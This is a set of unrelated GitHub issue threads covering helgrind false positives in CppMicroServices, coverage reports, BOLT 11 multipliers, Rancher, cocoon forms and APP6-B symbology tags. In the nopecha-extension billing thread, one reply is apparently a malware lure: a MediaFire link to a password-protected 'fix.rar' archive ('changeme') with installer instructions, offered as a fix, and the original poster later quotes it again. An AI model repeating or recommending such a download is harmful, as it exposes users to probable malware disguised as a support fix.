==3482== Use --history-level=approx or =none to gain increased speed, at
==3482== the cost of reduced accuracy of conflicting-access information
==3482== ERROR SUMMARY: 7 errors from 3 contexts (suppressed: 113 from 19)
==3482==
==3482== 1 errors in context 1 of 3:
==3482== ----------------------------------------------------------------
==3482==
==3482==  Lock at 0x64E2F58 was first observed
==3482==    at 0x4C34480: mutex_lock_WRK (hg_intercepts.c:909)
==3482==    by 0x4C3830C: pthread_mutex_lock (hg_intercepts.c:925)
==3482==    by 0x4F3A3EA: __gthread_mutex_lock(pthread_mutex_t*) (gthr-default.h:748)
==3482==    by 0x4F3D314: std::mutex::lock() (std_mutex.h:103)
==3482==    by 0x4F41537: std::unique_lock<std::mutex>::lock() (std_mutex.h:267)
==3482==    by 0x4F403FC: std::unique_lock<std::mutex>::unique_lock(std::mutex&) (std_mutex.h:197)
==3482==    by 0x4F3ED3F: cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock::UniqueLock(cppmicroservices::detail::MutexLockingStrategy<std::mutex> const*) (Threads.h:82)
==3482==    by 0x4F3DB3D: cppmicroservices::detail::MutexLockingStrategy<std::mutex>::Lock() const (Threads.h:134)
==3482==    by 0x4F3AAE4: cppmicroservices::FrameworkPrivate::Init() (FrameworkPrivate.cpp:64)
==3482==    by 0x4F36146: cppmicroservices::Framework::Init() (Framework.cpp:67)
==3482==    by 0x10A97F: main (in /home/test/DevLibs/CppMicroServices/doc/src/bin/GettingStarted)
==3482==  Address 0x64e2f58 is 8,920 bytes inside an unallocated block of size 18,176 in arena "client"
==3482==
==3482== Possible data race during write of size 1 at 0x64E75E8 by thread #3
==3482== Locks held: 1, at address 0x64E2F58
==3482==    at 0x4F622CE: store (atomic_base.h:374)
==3482==    by 0x4F622CE: std::__atomic_base<bool>::operator=(bool) (atomic_base.h:267)
==3482==    by 0x4F6164F: std::atomic<bool>::operator=(bool) (atomic:79)
==3482==    by 0x5023D08: cppmicroservices::BundleThread::Quit() (BundleThread.cpp:67)
==3482==    by 0x5032DB1: cppmicroservices::CoreBundleContext::Uninit1() (CoreBundleContext.cpp:230)
==3482==    by 0x4F3C15C: cppmicroservices::FrameworkPrivate::Shutdown0(bool, bool) (FrameworkPrivate.cpp:268)
==3482==    by 0x4F43179: void std::__invoke_impl<void, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(std::__invoke_memfun_deref, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:73)
==3482==    by 0x4F427C3: std::__invoke_result<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>::type std::__invoke<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:95)
==3482==    by 0x4F4192D: void std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>::__call<void, , 0ul, 1ul, 2ul>(std::tuple<>&&, std::_Index_tuple<0ul, 1ul, 2ul>) (functional:467)
==3482==    by 0x4F40CD2: void std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>::operator()<, void>() (functional:551)
==3482==    by 0x4F3F8B8: void std::__invoke_impl<void, std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>>(std::__invoke_other, std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>&&) (invoke.h:60)
==3482==    by 0x4F3E31B: std::__invoke_result<std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>>::type std::__invoke<std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>>(std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>&&) (invoke.h:95)
==3482==    by 0x4F44451: decltype (__invoke((_S_declval<0ul>)())) std::thread::_Invoker<std::tuple<std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)> > >::_M_invoke<0ul>(std::_Index_tuple<0ul>) (thread:234)
==3482==
==3482== This conflicts with a previous read of size 1 by thread #2
==3482== Locks held: none
==3482==    at 0x4F616A6: load (atomic_base.h:396)
==3482==    by 0x4F616A6: std::atomic<bool>::operator bool() const (atomic:86)
==3482==    by 0x5023DDF: cppmicroservices::BundleThread::Run(cppmicroservices::CoreBundleContext*) (BundleThread.cpp:79)
==3482==    by 0x5028FEA: void std::__invoke_impl<void, void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*>(std::__invoke_memfun_deref, void (cppmicroservices::BundleThread::*&&)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*&&, cppmicroservices::CoreBundleContext*&&) (invoke.h:73)
==3482==    by 0x502726B: std::__invoke_result<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*>::type std::__invoke<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*>(void (cppmicroservices::BundleThread::*&&)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*&&, cppmicroservices::CoreBundleContext*&&) (invoke.h:95)
==3482==    by 0x502DB8C: decltype (__invoke((_S_declval<0ul>)(), (_S_declval<1ul>)(), (_S_declval<2ul>)())) std::thread::_Invoker<std::tuple<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*> >::_M_invoke<0ul, 1ul, 2ul>(std::_Index_tuple<0ul, 1ul, 2ul>) (thread:234)
==3482==    by 0x502DA7D: std::thread::_Invoker<std::tuple<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*> >::operator()() (thread:243)
==3482==    by 0x502D8AE: std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*> > >::_M_run() (thread:186)
==3482==    by 0x53F586F: ??? (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==  Address 0x64e75e8 is 232 bytes inside a block of size 288 alloc'd
==3482==    at 0x4C3187A: operator new(unsigned long) (vg_replace_malloc.c:344)
==3482==    by 0x500005A: __gnu_cxx::new_allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (new_allocator.h:111)
==3482==    by 0x4FFFD78: std::allocator_traits<std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> >&, unsigned long) (alloc_traits.h:436)
==3482==    by 0x4FFF7CD: std::__allocated_ptr<std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> > > std::__allocate_guarded<std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> > >(std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> >&) (allocated_ptr.h:104)
==3482==    by 0x4FFF1E3: std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, cppmicroservices::BundleThread*, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr_base.h:635)
==3482==    by 0x4FFE85B: std::__shared_ptr<cppmicroservices::BundleThread, (__gnu_cxx::_Lock_policy)2>::__shared_ptr<std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr_base.h:1295)
==3482==    by 0x4FFDB84: std::shared_ptr<cppmicroservices::BundleThread>::shared_ptr<std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr.h:344)
==3482==    by 0x4FFCC56: std::shared_ptr<cppmicroservices::BundleThread> std::allocate_shared<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr.h:691)
==3482==    by 0x4FFBD8C: std::shared_ptr<cppmicroservices::BundleThread> std::make_shared<cppmicroservices::BundleThread, cppmicroservices::CoreBundleContext*&>(cppmicroservices::CoreBundleContext*&) (shared_ptr.h:707)
==3482==    by 0x4FF83D6: cppmicroservices::BundlePrivate::GetBundleThread() (BundlePrivate.cpp:607)
==3482==    by 0x4FF5976: cppmicroservices::BundlePrivate::GetUpdatedState(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:235)
==3482==    by 0x4FF5E6B: cppmicroservices::BundlePrivate::FinalizeActivation(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:272)
==3482==  Block was alloc'd by thread #1
==3482==
==3482==
==3482== 2 errors in context 2 of 3:
==3482== ----------------------------------------------------------------
==3482==
==3482== Thread #1: pthread_cond_{signal,broadcast}: dubious: associated lock is not held by any thread
==3482==    at 0x4C34D43: pthread_cond_broadcast_WRK (hg_intercepts.c:1445)
==3482==    by 0x4C3835E: pthread_cond_broadcast@* (hg_intercepts.c:1466)
==3482==    by 0x53EFF48: std::condition_variable::notify_all() (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==    by 0x4F3E808: cppmicroservices::detail::WaitCondition<cppmicroservices::detail::MutexLockingStrategy<std::mutex> >::NotifyAll() (WaitCondition.h:109)
==3482==    by 0x502496B: cppmicroservices::BundleThread::StartAndWait(cppmicroservices::BundlePrivate*, int, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:207)
==3482==    by 0x50246AD: cppmicroservices::BundleThread::BundleChanged(cppmicroservices::BundleEventInternal const&, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:178)
==3482==    by 0x4FF59CD: cppmicroservices::BundlePrivate::GetUpdatedState(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:235)
==3482==    by 0x4FF5E6B: cppmicroservices::BundlePrivate::FinalizeActivation(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:272)
==3482==    by 0x4FF7072: cppmicroservices::BundlePrivate::Start(unsigned int) (BundlePrivate.cpp:438)
==3482==    by 0x4FD524A: cppmicroservices::Bundle::Start() (Bundle.cpp:120)
==3482==    by 0x10ABB6: main (in /home/test/DevLibs/CppMicroServices/doc/src/bin/GettingStarted)
==3482==
==3482==
==3482== 4 errors in context 3 of 3:
==3482== ----------------------------------------------------------------
==3482==
==3482== Thread #3: pthread_cond_{signal,broadcast}: dubious: associated lock is not held by any thread
==3482==    at 0x4C34D43: pthread_cond_broadcast_WRK (hg_intercepts.c:1445)
==3482==    by 0x4C3835E: pthread_cond_broadcast@* (hg_intercepts.c:1466)
==3482==    by 0x53EFF48: std::condition_variable::notify_all() (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==    by 0x4F3E808: cppmicroservices::detail::WaitCondition<cppmicroservices::detail::MutexLockingStrategy<std::mutex> >::NotifyAll() (WaitCondition.h:109)
==3482==    by 0x502496B: cppmicroservices::BundleThread::StartAndWait(cppmicroservices::BundlePrivate*, int, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:207)
==3482==    by 0x502477A: cppmicroservices::BundleThread::CallStop1(cppmicroservices::BundlePrivate*, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:190)
==3482==    by 0x4FF4B77: cppmicroservices::BundlePrivate::Stop0(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:106)
==3482==    by 0x4FF49BC: cppmicroservices::BundlePrivate::Stop(unsigned int) (BundlePrivate.cpp:88)
==3482==    by 0x4F3C506: cppmicroservices::FrameworkPrivate::StopAllBundles() (FrameworkPrivate.cpp:307)
==3482==    by 0x4F3C119: cppmicroservices::FrameworkPrivate::Shutdown0(bool, bool) (FrameworkPrivate.cpp:262)
==3482==    by 0x4F43179: void std::__invoke_impl<void, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(std::__invoke_memfun_deref, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:73)
==3482==    by 0x4F427C3: std::__invoke_result<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>::type std::__invoke<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:95)
==3482==
--3482--
--3482-- used_suppression:    113 helgrind-glibc2X-005 /usr/local/lib/valgrind/default.supp:963
==3482==
==3482== ERROR SUMMARY: 7 errors from 3 contexts (suppressed: 113 from 19)

The dubious: associated lock is not held by any thread warning is a flag from helgrind that a mutex should be locked before signaling. This is not required by POSIX pthreads but is rather a recommendation from helgrind. This warning can be ignored.
As for the Possible data race during write of size 1 warnings from helgrind, from what I can tell these are false positives. The data in question is a std::atomic_bool whose access from multiple threads is well-defined.

Hi,
Our valgrind suppressions file has a couple of entries for helgrind to avoid exactly those false positives being reported.
Helgrind does not properly understand all  the C++ standard library synchronization primitives.
On February 12, 2020 5:32:40 PM GMT+01:00, Jeff DiClemente<EMAIL_ADDRESS>wrote:

The dubious: associated lock is not held by any thread warning is
a flag from helgrind that a mutex should be locked before signaling.
This is not required by POSIX pthreads but is rather a recommendation
from helgrind. This warning can be ignored.
As for the Possible data race during write of size 1 warnings
from helgrind, from what I can tell these are false positives. The data
in question is a std::atomic_bool whose access from multiple
threads is well-defined.
--
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub:
https://github.com/CppMicroServices/CppMicroServices/issues/441#issuecomment-585293182

--
Sent from my Android device with K-9 Mail. Please excuse my brevity.

closing since the valgrind output has been examined and determined to be false positives.


Add victory modal premium art and css

Coverage increased (+0.01%) to 56.878% when pulling f945ac50eedfc1ccb8a3aefe1c4073c5e5e37304 on new-premium-victory-art into d6d7a9465a73c9318c33aaf4270a14516ba7de7f on master.

Coverage increased (+0.1%) to 56.992% when pulling 916d436eeac7eba05936bf02ea73eb325b2fa29b on new-premium-victory-art into d6d7a9465a73c9318c33aaf4270a14516ba7de7f on master.

Coverage remained the same at 56.992% when pulling 6df2d046a0ab20588541215cc28fee0efe361fd2 on new-premium-victory-art into 38302fdc1c6396ebeeb23276d5ec5dbba82d89e9 on master.


Missing BOLT 11 multipliers in Denomination

BOLT 11 specifies a set of multipliers for usage with BTC denomination. We have not implemented nano or pico.

Potential label: good-first-issue

I'm not sure it's entirely relevant here but shouldn't hurt and potentially makes LN implementations cleaner/easier. Maybe @TheBlueMatt can confirm?


Adding support for clang12 and VS2022

Last I checked NovelRT does not build with Clang 12 due to them importing GCC errors, though this was a recent discovery. Have we confirmed it all works?

No, but that should be independent of having the profile support, which would allow us to make any necessary changes.

Fair enough.


Use depend on to generate service graph

Rancher versions:
rancher/server: all
rancher/agent: all
Infrastructure Stack versions:
healthcheck:
ipsec:
network-services:
scheduler:
kubernetes (if applicable):
Docker version: (docker version,docker info preferred)
Operating system and kernel: (cat /etc/os-release, uname -r preferred)
Type/provider of hosts: (VirtualBox/Bare-metal/AWS/GCE/DO)
Setup details: (single node rancher vs. HA rancher, internal DB vs. external DB)
Environment Template: (Cattle/Kubernetes/Swarm/Mesos)
Steps to Reproduce:
Add a stack with multi services, use depend on to create the connections between them.
Results:
In the Rancher UI, it doesn't show the connection based on depend on. Can we support depend on ?

@fsword please use English to submit an issue next time. thanks


more robust isWorkspace method.  moved into Util class.  Also made te…

…mplates create in recommended folders when inside a workspace i.e. portlets are created inside /modules/apps

Hey @david-truong did you want to resend this one with some other changes?

yep closing thanks!


I HAVE perchased the plan but its still showing free plan

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

ALSo i want to use api not extension so why  i am getting error

From: miniMuggle @.>
Sent: Tuesday, August 27, 2024 9:14 PM
To: NopeCHALLC/nopecha-extension @.>
Cc: DRMudassar1 @.>; Author @.>
Subject: Re: [NopeCHALLC/nopecha-extension] I HAVE perchased the plan but its still showing free plan (Issue #71)
Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."
—
Reply to this email directly, view it on GitHubhttps://github.com/NopeCHALLC/nopecha-extension/issues/71#issuecomment-2312843733, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AR5WR2BHD6KMEDW57NG65HTZTSJVBAVCNFSM6AAAAABNGK6T2SVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMJSHA2DGNZTGM.
You are receiving this because you authored the thread.Message ID: @.***>

same problem

what payment do you use? with Paypal or crypto


[Task]: GraphQL PoC: Check if it would be useful to use Spring's GraphQL framework.

Is there an existing issue for this?

[X] I have searched the existing issues

SubTasks
Check if it would be useful to use Spring's GraphQL framework.

I investigated all the frameworks mentioned here and a few others that I could find on the web. I was able to gather the following:

most of these frameworks are meant to provide support for creating a GraphQL server. Since our goal is to create a GraphQL client this use case is not interesting for us.

one useful feature that can be leveraged from one of these frameworks graphql-java is to validate GraphQL syntax and parse valid GraphQL queries. It is important to note that the validation capability is limited to the GraphQL body and the validation is only limited to synatx and not semantics i.e. it will not be able to figure out if the user has not defined any variable used in the body.

few frameworks that are meant to provide support for creating a GraphQL client primarily provide support to

model a GraphQL endpoint as a repository
model request / response data as Java objects.

since our API server is not the intended consumer of any single GraphQL endpoint (with no fixed schema) and is meant to act as a proxy, this use case is not intersting to us.

a couple of GraphQL frameworks seemed to provide an abstraction on top of the webClient that we use to make HTTP requests. However, these abstractions only seemed to provide very basic builder methods on top to build the HTTP queries . These abstractions don't provide any significant capability. We should only use these abstractions only if they don't interfere with the re-usability of the code post re-factoring common code from the REST API plugin. Since these abstractions don't provide any significant capability we choose to skip them as well.


Document the location of experimental binary

Some devs might want to download the binary directly,
especially for systems where the install script does not
work.
Signed-off-by: Ankush Agarwal<EMAIL_ADDRESS>

ping @calavera

@thaJeztah : Updated

Thanks @ankushagarwal, text LGTM

ping @fredlf @jamtur01 @moxiegirl @SvenDowideit

LGTM


Not really an issue, more a question

Is there a way to force the partial to be rendered each time it's added? Right now "link_to_add_association" only displays a copy of the already rendered partial.
I ask this because I have a big nested form, and in one of the nested forms I need to have a dynamic select box (Once a category is selected and a new product is added, I want to update the category list in the select. I am passing the value to the controller via ajax, but each time I get the same category list).

No that is not possible. There are a few alternative approaches. The approach used in cocoon is that the form is rendered server-side (in one go), then is edited on the client, and the user can dynamically insert extra items, and is saved as a whole.
So, if you want to use that approach, the state of the entire form is kept in the browser (and only sent to the server when submitting the form), so if you want to limit select-boxes, you will have to use a callback upon insert of the partial in the form.
However, it is entirely possible to skip cocoon altogether, and the button to insert a partial fetch the form using ajax rendered server-side. Maybe, from your description, this is closer to what you expect? But in that case there is no need to use cocoon at all.
In can go into further detail for each approach, but maybe it is already clear now? If you have more questions, just ask :wink:

Closed due to inactivity.


Issues with the gct offset in APP6-B

From @topowright on March 29, 2018 17:17
Summary of Issue Encountered:
A customer using the APP6-B stylx files that is famialr wtih our stylx files from 2525 has found an issues with  gct_arrow_with_offset" to be within the TAGS Column
Brief summary of issue encountered:
The symbols are available within the stylx file. But they are missing the gct_strings that describe how to create this symbol. Normally they expect something like "gct_arrow_with_offset" to be within the TAGS Column. That will give them the information what kind of edit functions they provide, how many points are involved in that symbol and so on.
This is an example how it looks like in MIL2525 and what they expect in APP6B.
This is the mil2525d.stylx:
ID         "2598"
CLASS      "4"
CATEGORY   "Control Measure : Line"
NAME       "Maneuver Areas : Axis of Advance : Main Attack : Hostile"
TAGS       "Control Measure;Maneuver Areas;Axis of Advance;Main Attack;gct_arrow_with_offset;G*GPOLAGM-****X;MAIN;Line;Maneuver Areas : Axis of Advance : Main Attack;25151403"
It contains the gct_string that give them some information about the object that will be created.
The app6b.stylx does not contains this gct_string:
ID         "5345"
CLASS      "4"
CATEGORY   "Offence"
Name       "Axis of Advance Ground Main Attack H"
TAGS       "APP-6(B);Annex E;Command And Control And General Manoeuvre; Offence;Axis Of Advance Ground Main Attack;Hostile;GHCPMOLAM-*****"
Describe the product and version used:
ArcGIS Runtime 100.2 and ArcGIS Pro 2.1
Include the military symbology standard and version/change set (ex. -2525D):
APP6-B
Reproduction Steps and/or Where to Obtain Test Data:
View the informaiton in the sylx file as listed above for the symbol above
Step-by-step description of how to reproduce the issue and the expected results:

Screenshot(s) of issue (ex: obtained result vs. expected result):
Additional information or sample data:
Image from the customer:

Copied from original issue: Esri/military-features-data#319

From @BobBooth on April 13, 2018 18:30
@topowright - what is the actual scope of this change? Does this apply only to attack arrows, all features, or something in between?
What is the list of changes that need to be changed? Just "ct_arrow_with_offset"?  Are there others? Where are they?
@csmoore

@lfunkhouser

@csmoore why was the gct_string not included in the APP6-B?

From @csmoore on April 16, 2018 11:27
@topowright - I did not work on the development of this original style but that style probably preceded those tags/convention

From @BobBooth on April 16, 2018 14:45
Might be possible to to join to JMSML CSV to get this data?
https://raw.githubusercontent.com/Esri/joint-military-symbology-xml/master/samples/imagefile_name_category_tags/Military-All-Icons.csv

From @NorbertThoden on April 17, 2018 7:45
Hi!
I am the customer who caused a case "Esri Case #02068526 - [BOS] reading/loading app6b.stylx fails"
While going forward in that case (thanks to Chris Moore https://github.com/Esri/military-features-data/issues/276#issuecomment-368871017) we were recognizing that all the gct_ strings are missing (in opposite to mil2525d.stylx).
To make the initial description https://github.com/Esri/military-features-data/issues/319#issue-309836286 clear:
There is not just one gct_ string missing - all of them are missing (about 20)
To construct a military (multi point) symbol using the mouse, it is necessary to know WHO to construct the symbol.
What is the semantic of every single click the user made to build a military (multi point) symbol...
Hope it helps

This issue was moved to ArcGIS/military-symbology-styles#64


Introduce auto mode of --deep

If the number of releases are less than 100, --deep is enabled by default.

https://github.com/aquaproj/aqua/pull/2366
https://github.com/aquaproj/aqua/releases/tag/v2.15.0


Download button

In gitlab by @MJochim on Sep 7, 2016, 13:21
Provide a button do download databases.

In gitlab by @MJochim on Jan 10, 2017, 21:04
works as of 679056fd59bb7a2094e44a75121151cc3b5a1113, now also for large databases.
The user interface is stilll somewhat cluttered, though.

In gitlab by @MJochim on Nov 14, 2016, 21:19
Works as of 9e0cb577c6df813bf2396887cd0967f2fd6f7268, but only for small databases that can be zipped up rapidly. I will need to employ something like the BAS email mechanism.

In gitlab by @MJochim on Jan 10, 2017, 21:04
closed